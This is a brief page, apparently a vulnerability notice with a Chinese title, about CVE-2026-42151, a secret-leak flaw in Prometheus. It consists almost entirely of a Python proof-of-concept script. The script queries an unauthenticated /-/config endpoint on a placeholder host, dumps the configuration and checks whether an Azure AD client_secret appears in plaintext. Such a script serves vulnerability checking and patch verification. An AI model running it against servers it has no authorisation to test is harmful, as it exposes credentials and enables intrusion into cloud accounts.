CVE-2026-42151 Prometheus敏感信息泄露漏洞

import requests # Target URL of the Prometheus server # Ensure the target is running a vulnerable version (< 3.5.3 or < 3.11.3) target_url = "http://<prometheus-host>:9090/-/config" try: # Send a GET request to the config endpoint # No authentication is required based on the vulnerability description (PR:N) response = requests.get(target_url, timeout=10) if response.status_code == 200: config_data = response.text print("[+] Configuration retrieved successfully:") print(config_data) # Check if azuread client_secret is exposed in plaintext # Vulnerable versions will show the actual secret, fixed versions show "<redacted>" if '"client_secret":' in config_data and '<redacted>' not in config_data: print("\n[!] Potential Vulnerability Found: Azure AD client_secret is exposed in plaintext.") else: print("\n[-] Secret appears to be redacted or not present.") else: print(f"[-] Failed to retrieve config. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}")